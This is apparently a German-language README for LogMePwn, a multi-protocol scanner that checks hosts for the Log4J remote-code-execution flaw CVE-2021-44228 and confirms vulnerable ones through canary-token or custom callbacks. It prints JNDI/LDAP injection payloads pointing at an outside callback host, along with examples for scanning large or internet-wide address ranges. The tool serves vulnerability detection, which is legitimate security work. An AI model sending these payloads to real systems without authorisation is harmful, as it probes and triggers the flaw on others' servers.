
Ein vollautomatisiertes, zuverlässiges, blitzschnelles Scan- und Validierungs-Toolkit für die Log4J RCE CVE-2021-44228-Schwachstelle.
LogMePwn ist ein vollautomatisiertes, Multi-Protokoll-, zuverlässiges, superschnelles Scan- und Validierungstoolkit für die Log4J-RCE-Schwachstelle CVE-2021-44228.

LogMePwn nutzt Canary-Tokens, die wiederum E-Mail- und Webhook-Benachrichtigungen an Ihren bevorzugten Kommunikationskanal senden. Falls Sie einen benutzerdefinierten Callback-Server haben, können Sie diesen ebenfalls verwenden!
Um das Tool zu nutzen, holen Sie sich ein Binary aus dem Releases-Bereich passend zu Ihrer Distribution und verwenden Sie es. Wenn Sie das Tool selbst bauen möchten, benötigen Sie Go >= 1.13. Klonen Sie einfach das Repo und führen Sie go build aus.
Hier die grundlegende Verwendung des Tools:
$ ./lmp --help
+---------------------+
| L o g M e P w n |
+---------------------+ v2.0
~ 0xInfection
Usage:
-custom-server string
Geben Sie einen benutzerdefinierten Callback-Server an.
-delay int
Verzögerung zwischen aufeinanderfolgenden Anfragen an denselben Host, um diesen nicht zu überlasten.
-email string
E-Mail-Adresse für den Empfang von Callback-Benachrichtigungen.
-fbody string
Formatstring für den HTTP-Anforderungskörper angeben.
-file string
Datei mit der Liste der zu scannenden Hosts.
-ftp-ports string
Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "21")
-headers string
Komma-getrennte Liste der HTTP-Header; falls leer, wird eine Standard-Header-Liste verwendet.
-headers-file string
Datei mit benutzerdefinierten Headern für HTTP-Anfragen angeben.
-http-methods string
Komma-getrennte Liste der HTTP-Methoden für den Scan. (Standard: "GET")
-http-ports string
Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "80,443,8080")
-imap-ports string
Komma-getrennte Liste der IMAP-Ports pro Ziel. (Standard: "143,993")
-json
Körper vom Typ JSON in HTTP-Anfragen verwenden, die einen Körper enthalten können.
-payload string
Einzelnen Payload oder Datei mit Payload-Liste angeben.
-protocol string
Protokoll für die Schwachstellenüberprüfung angeben. (Standard: "all")
-ssh-ports string
Komma-getrennte Liste der SSH-Ports pro Ziel. (Standard: "22")
-threads int
Anzahl der Threads für den Scan. (Standard: 10)
-token string
Canary-Token-Payload für Anfragen; falls leer, wird ein neues Token erzeugt.
-user-agent string
Benutzerdefinierter User-Agent-String; falls leer, werden Payloads verwendet.
-webhook string
Webhook für den Empfang von Callback-Benachrichtigungen.
-xml
Körper vom Typ XML in HTTP-Anfragen verwenden, die einen Körper enthalten können.
Beispiele:
./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143
NEU: Diese Funktion wurde in v2.0 eingeführt.
Mit der neuesten Version wurde die Unterstützung für mehrere Protokolle hinzugefügt. Bisher haben wir 4 verschiedene Protokolle:
Wenn Sie kein Protokoll über das Argument -protocol angeben, führt das Tool alle Plugins für jedes unterstützte Protokoll gegenüber den standardmäßigen Ports aus.
Siehe, wie man Ports für jedes Protokoll steuert.
Beispiel:
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scannt alle Protokolle auf Standardports
Die Ziele können auf zwei Arten angegeben werden: über die Kommandozeile als Argumente oder über eine Datei.
NEU: Sie können jetzt auch CIDR-Bereiche zum Scannen übergeben! Diese Funktion wurde in v1.1 eingeführt.
Beispiel:
./lmp <andere Argumente hier> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <andere Argumente hier> -file internet-ranges.lst
./lmp <andere Argumente hier> 192.168.0.0/26 1.2.3.4/30
Jedes Protokoll hat eine Standardliste von Ports, die mit folgenden Flags angepasst werden kann:
-http-ports für HTTP.-imap-ports für IMAP.-ssh-ports für SSH.-ftp-ports für FTP.Gibt der Benutzer ein Paar host:port an, wird die Standard-Portliste verworfen und alle Prüfungen erfolgen für diesen spezifischen Port. Wenn -protocol nicht angegeben ist, werden alle Protokoll-Plugins gegen denselben Port getestet.
Diese Funktion wurde in v1.1 eingeführt.
Sie können einen Payload direkt über das Argument -payload angeben. Wenn Sie jedoch den DNS-Namen des getesteten Hosts im Payload haben möchten, können Sie die Formatierungsdirektive $DNSNAME$ verwenden, die durch das Ziel ersetzt wird, gegen das der Payload getestet wird.
Beispiel: Wenn Sie einen Befehl wie diesen eingeben:
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com
Dann würde der Payload beim Senden einer HTTP-Anfrage an die URL so aussehen:
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}
Diese Funktion hilft Ihnen zu bewerten, welche Hosts beim Black-Box-Fuzzing anfällig sind.
Sie können auch eine Datei mit mehreren Variationen des Payloads über dasselbe Argument angeben. (Siehe payloads-sample.txt). Beispiel:
./lmp -payload payloads-sample.txt vulnerable.site.com
HINWEIS: Diese Funktion funktioniert nicht mit Canary-Tokens. Canarytokens unterstützt keine benutzerdefinierten DNS-Formate.
HINWEIS: Wenn Sie einen benutzerdefinierten Payload mit
-payloadangeben, ist die Angabe eines Benachrichtigungskanals NICHT notwendig. Der Payload selbst sollte Ihren Callback-Server enthalten.
Die Benachrichtigungskanäle können wie folgt sein:
-email)-webhook)-custom-server)Das Tool verwendet Canary-Tokens; Sie können eines hier erstellen oder das Tool ein Token für Sie erstellen lassen. Wenn das Tool ein Token erstellt, wird es in eine Datei namens canarytoken-logmepwn.json geschrieben, die das Token selbst und die Authentifizierung enthält (beide benötigen Sie, um Auslöser über die Weboberfläche anzuzeigen).
Wenn Sie bereits ein Token haben, können Sie das Argument -token verwenden, um das Token direkt zu nutzen, ohne ein neues zu erstellen.
HINWEIS: Wenn Sie entweder eine E-Mail oder einen Webhook angeben, erstellt das Tool ein benutzerdefiniertes Canary-Token. Wenn Sie einen benutzerdefinierten Callback-Server verwenden, kommen keine Tokens zum Einsatz.
Das Tool bietet große Flexibilität beim Senden von Anfragen. Standardmäßig werden GET-Anfragen verwendet. Es wird eine Standard-Header-Liste verwendet, wobei jeder Header einen Payload im Wert enthält. Sie können einen benutzerdefinierten Satz von Headern über das Argument -headers angeben. Mit dem Schalter -headers-file können Sie eine Datei mit einer Liste von Headern übergeben. Beispiele:
./lmp <andere Argumente> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <andere Argumente> -headers-file headers.txt 1.2.3.4:8080
Sie können die Liste der HTTP-Methoden für den Scan über den Schalter -methods angeben. Bei Anfragen mit Körper (z.B. POST, PUT) können Sie den Inhalt der Körper anpassen.
Standardmäßig sendet das Tool einen Payload direkt über den Körper. Das Tool bietet Anpassungsmöglichkeiten für den Körper auf folgende Weise:
-json an, um den Anforderungskörper als JSON-Typ zu haben.-xml für das XML-Format.-fbody, um einen benutzerdefinierten Formatstring anzugeben, in den der Payload eingefügt wird. Dies ermöglicht die Erstellung komplexer Anfragen beim Testen. Wenn Sie z.B. den Inhalt als HTML senden möchten, könnte das so aussehen:
./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
Sie können einen benutzerdefinierten User-Agent-Header-Wert über den Schalter -user-agent angeben.
Das Tool ist für das Scannen einer großen Anzahl von Zielen optimiert. Mit ausreichender Netzwerkbandbreite und Hardware können Sie den gesamten IPv4-Raum innerhalb eines Tages scannen. Die Standardanzahl gleichzeitiger Threads beim Scannen beträgt nur 10 (optimiert für Zuverlässigkeit auf lokaler Hardware). Der Wert kann bis in die Tausende gehen (die Benchmark-Aufgabe überlasse ich Ihnen). :)
Verwenden Sie den Schalter -threads, um die Anzahl der Threads für das Tool anzugeben.
Da viele HTTP-Anfragen beteiligt sind, kann es für den entfernten Host aufwändig sein, die Anfragen zu verarbeiten. Der Parameter -delay hilft Ihnen in solchen Fällen. Sie können einen Verzögerungswert in Sekunden angeben – dieser wird zwischen zwei aufeinanderfolgenden Anfragen an denselben Port auf einem Server verwendet.
Für die Demo des Scanners verwende ich eine anfällige Einrichtung von @christophetd mit Docker:
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Dann führe ich das Tool gegen die Einrichtung aus:
./lmp -email [email protected] -protocol http 127.0.0.1:8080

Was sofort einige DNS-Lookups auslöste, die sowohl auf der Token-Verlaufsseite als auch in meiner E-Mail sichtbar waren:

Neuerungen in Version v2.0:
Neuerungen in Version v1.1:
Melden Sie sich gerne per Twitter oder erstellen Sie ein Issue oder PR.
Das Tool ist unter der GNU GPLv3 lizenziert. LogMePwn ist derzeit bei v2.0.
Ein großes Dankeschön an das Team von Thinkst Canary für ihr großartiges Canary-Tokens-Projekt.
Mit ♡ erstellt von Pinaki (@0xInfection).